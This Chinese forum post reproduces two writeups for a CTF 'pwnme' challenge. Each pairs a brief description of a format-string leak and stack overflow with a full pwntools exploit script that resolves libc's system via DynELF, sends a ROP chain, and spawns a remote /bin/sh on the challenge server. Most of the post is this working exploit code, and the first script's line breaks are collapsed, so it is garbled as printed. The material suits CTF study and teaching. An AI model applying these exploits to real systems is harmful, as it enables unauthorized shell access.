本帖最后由 Xor0ne 于 2020-3-30 18:27 编辑
“百度杯”CTF比赛 十一月场pwnme
本题来源于 :i 春秋:
附件下载:
Writeup_01:
来源于:https://www.ichunqiu.com/writeup/detail/5217
首先使用checksec命令查看程序基本的防护措施,确定解题可能存在的约束。 然后使用IDA对程序进行静态分析,发现其在使用功能1打印输出时printf存在格式化串口泄漏。由格式化串口的利用可以实现内存的扩展,本题中利用该漏洞可计算出系统函数的地址 同时程序中在复制用户名和密码时均存在堆栈重叠中断,对密码部分进行重叠,并利用通用小工具构造ROP链,最终获取shell。
...python
#coding:utf-8 from pwn import* #pro = process('./pwnme') pro = remote('106.75.2.53',10006) def response(recv_buf,send_buf,newline=True): pro.recvuntil(recv_buf) if newline: pro.sendline(send_buf) else: pro.send(send_buf)
def loop(address): response('>','2') response('please input new username(max lenth:20): \n','%11$sflag')
s = 'ABCD'+ p64(address) #print(s) response('please input new password(max lenth:20): \n',s)#填充了四个字节之后才是栈内第十一个参数 response('>','1') data = pro.recvuntil('flag')[:-4] if data == "": data = "\x00" #print data,"add=>",p64(address) return data
response('Input your username(max lenth:40): \n','123') response('Input your password(max lenth:40): \n','123') #调用DynElf遍历 d = DynELF(loop, elf=ELF('./pwnme')) system_addr = d.lookup('system', 'libc') #print(hex(system_addr))
response('>','2') response('please input new username(max lenth:20): \n','123')
pop_6_ret = 0x400ECA call_read = 0x400eb0 pop_rdi_ret = 0x400ed3
read_addr_got = 0x601FC8 bss_addr = 0x602010 payload = 'A'*40 payload += p64(pop_6_ret)+p64(0)+p64(1)+p64(read_addr_got)+p64(8)+p64(bss_addr)+p64(0) payload += p64(call_read)+p64(0x1)*7 payload += p64(pop_rdi_ret)+p64(bss_addr) payload += p64(system_addr) payload = payload.ljust(0x110,'0')
response('please input new password(max lenth:20): \n',payload) pro.send('/bin/sh\x00') pro.interactive()
...
Writeup_02:
来源于:https://www.ichunqiu.com/writeup/detail/4142
from pwn import *
DEBUG = 0
ATTACH = 0
def leak(addr):
io.recvuntil('>')
io.sendline('2')
io.recvuntil('please input new username(max lenth:20): \n')
io.sendline('BBBB')
io.recvuntil('please input new password(max lenth:20): \n')
payload1 = '%12$s' + 'BIRDGO!' + p64(addr)
io.send(payload1)
io.recvuntil('>')
io.sendline('1')
content = io.recvuntil('BIRDGO!')
if len(content) == 12:
return '\x00'
else:
return content[5:-7]
if DEBUG:
context.log_level = 'debug'
io = process('./pwnme')
if ATTACH:
gdb.attach(io)
else:
io = remote('106.75.84.74', 10001)
# raw_input('go?')
io.recvuntil('Input your username(max lenth:40): \n')
io.sendline('A')
io.recvuntil('Input your password(max lenth:40): \n')
io.sendline('1')
d = DynELF(leak, elf=ELF('./pwnme'))
system_addr = d.lookup('system', 'libc')
log.info('system_addr:%#x' % system_addr)
io.recvuntil('>')
io.sendline('2')
io.recvuntil('please input new username(max lenth:20): \n')
io.sendline('A')
io.recvuntil('please input new password(max lenth:20): \n')
pop_rdi_ret_addr = 0x400ed3
pop_pop_pop_pop_po_ret = 0x400ecb
init_gadget = 0x400EB0
payload = 'A' * 0x28
bin_sh_addr = 0x602800
payload += p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64(0)
payload += p64(init_gadget) + p64(0x8) * 7
payload += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)
payload = payload.ljust(0x101, 'A')
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()
#io.recv()
(PS:我发四,这两篇Writeup的代码我都是按原版复制过来的,原作者可能上传的时候忘看排版了,所以导致成现在这样了,,,其实第一篇还好,主要是第二篇>_<!)
|